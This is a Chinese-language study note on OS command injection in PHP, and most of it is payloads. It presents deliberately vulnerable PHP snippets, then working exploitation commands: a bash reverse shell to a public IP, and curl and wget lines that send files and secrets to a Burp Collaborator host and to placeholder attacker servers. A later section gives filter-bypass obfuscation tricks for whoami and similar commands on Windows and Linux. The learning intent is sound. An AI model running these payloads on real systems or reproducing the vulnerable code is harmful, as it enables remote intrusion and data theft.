命令执行学习
一、编写存在命令注入的代码
1.windows环境
<?php $target=$_REQUEST['ip']; $cmd = shell_exec('ping '.$target); echo "<pre>{$cmd}</pre>"; ?>
测试:http://127.0.0.1/1.php?ip=|net user
命令执行相关的函数;
system() |
system函数可执行并直接显示结果 |
passthru() |
执行有回显,将执行结果输出到页面上 |
exec() |
执行无回显,默认返回最后一行结果 |
shell_exec() |
默认无回显,通过 echo 可将执行结果输出到页面 |
popen() |
函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写。 函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。 |
` ` |
反引号里面的代码也会被当作OS命令来执行 |
命令执行漏洞有时候要搭配管道符来进行实现,下面是Windows下的管道符
| 直接执行|后面的命令 || 如果前面的语句执行出错,则执行后面的语句,前面的语句只能为假 & 如果前面的语句为假,则直接执行后面的语句,前面的语句可真可假 && 如果前面的语句为假,则直接出错,也不执行后面的语句,前面的语句只能为真
2.Linux环境
<?php if (isset($_GET['cmd'])) { echo "<pre>"; system($_GET['cmd']); //在URL中给cmd赋值就可以执行不同的命令了 } else { echo "?cmd=null"; } ?>
测试:
二、命令执行的利用
1.有回显
- 获取敏感数据
- 获取当前操作系统版本和内核信息
- 获取当前用户名和密码
2.无回显
(1)如果无回显,如何判断注入的命令是否执行?
- 延时:cmd=ls|sleep 5(linux)或者ping -n 3 127.0.0.1(windows)
- DNS获取回显:cmd=curl `命令`.域名
- 反弹shell
自己公网服务器nc -vv -lp 8888
目标服务器:cmd=bash+-i+>&+/dev/tcp/47.95.206.199/8888+0>&1
(2)确定了命令执行了,如何把执行结果,或者文件带出来?
Burp的Collaborator Client工具
复制burp工具的链接 http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
执行如下命令:
cmd=curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
然后在burp查看结果
curl命令:
cURL是用于使用各种协议传输数据的库和命令行工具,并且是用于数据渗透的非常有用的工具。如果易受攻击的服务器具有cURL,我们可以使用它来将文件发送到恶意Web服务器或使用其他协议(例如FTP / SCP / TFTP / TELNET等)传输文件。
一旦发现了OS命令注入漏洞,可以使用以下命令将文件的内容发送到我们的web服务器:
cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt
示例:http;//127.0.0.1/1.php?cmd=ifconfig | cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt
wget读取源代码
wget –post-data exfil=`cat /data/secret/secretcode.txt`&b=1 http://xxx.xxx.xxx.xxx:xxxx
wget可以使用post-data参数发送post请求
上面命令的意思就是在目标服务器读取/data/secret/secretcode.txt文件内容作为post数据,然后上传到自己的服务器
wget –post-file trophy.php http://xxx.xxx.xxx.xxx:xxxx
而post-file参数则是为了将文件上传到自己的服务器,可以用来读取源代码文件。
三、如何防御
- 用正则表达式匹配用户输入的危险命令
<?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>
- 减少或不使用代码或命令执行函数
- 客户端提交的变量在放入函数前进行检测
- 减少或不使用危险函数
- 在用户的输入会影响命令执行的情兄下,应将用户输入限制为从预定的安全命令集合中进行选择。如果输入中出现了恶意的内容传递到命令执行函数的值将默认从安全命令集合中选择,或者程序将拒绝执行任何命令。
常见绕过:
- 在windows环境下,命令可以不区分大小写
whoami //正常执行 w"h"o"a"m"i //正常执行 w"h"o"a"m"i" //正常执行 wh""o^a^mi //正常执行 wh""o^am"i //正常执行 ((((Wh^o^am""i))))//正常执行
linux下
wh\oami wh$1oami who$@ami whoa$*mi
- 双引号过滤
- 变量拼接
windows
set a=who set b=ami %a%%b%//正常执行whoami set a=w""ho set b=a^mi %a%%b%//根据前一知识点进行组合,正常执行whoami set a=ser&&set b=ne&&set c=t u && call %b%%c%%a% //在变量中设置空格,最后调用变量来执行命令
linux
t=l; j=s; i=" -al"; $t$j$i a=who b=ami $a$b
- 在linux下我们还可以使用大花括号来绕过空格的限制,比如ls -alt命令中间的空格,{ls,-alt}
- 或者在Linux下使用通配符去匹配文件。